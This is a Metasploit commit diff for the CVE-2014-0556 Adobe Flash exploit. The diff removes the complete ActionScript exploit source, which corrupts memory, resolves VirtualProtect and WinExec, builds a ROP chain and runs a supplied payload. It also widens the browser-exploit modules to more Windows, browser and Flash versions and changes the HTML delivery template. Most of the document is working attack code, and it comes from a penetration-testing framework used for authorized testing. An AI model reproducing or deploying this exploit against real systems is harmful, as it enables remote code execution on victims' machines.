Update CVE-2014-0556

bug/bundler_fix
jvazquez-r7 2015-06-04 18:23:50 -05:00
parent 23df66bf3a
commit 02181addc5
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
5 changed files with 14 additions and 196 deletions

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data/exploits/CVE-2014-0556/msf.swf Executable file → Normal file

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@ -1,185 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var uv:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
private var i:uint = 0
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1022)
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; ; i++)
if (uv[i].length == 0xffffffff) break
for (var i2:uint = 1; i2 < uv.length; i2++) {
if (i == i2) continue
uv[i2] = new Vector.<Object>(1014)
uv[i2][0] = bv[6401]
uv[i2][1] = this
}
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
bv[6401].endian = "littleEndian"
bv[6401].length = 0x500000
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
var main:uint = uv[i][0xfffffc09] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
byte_write(uv[i][0])
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer + 0x100, payload, true)
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x80)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x100)
byte_write(0)
byte_write(main, buffer + 0x20000)
this.toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) bv[6401].position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
if (zero) bv[6401].writeByte(0)
} else bv[6401].writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
bv[6401].position = addr
switch(type) {
case "dword":
return bv[6401].readUnsignedInt()
case "word":
return bv[6401].readUnsignedShort()
case "byte":
return bv[6401].readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

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@ -6,7 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer

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@ -6,7 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer

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@ -6,9 +6,8 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = GreatRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
@ -47,9 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') },
:os_name => lambda do |os|
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
:flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.179') },
:arch => ARCH_X86
},
'Targets' =>
@ -82,17 +84,18 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'win'
os_name = target_info[:os_name]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>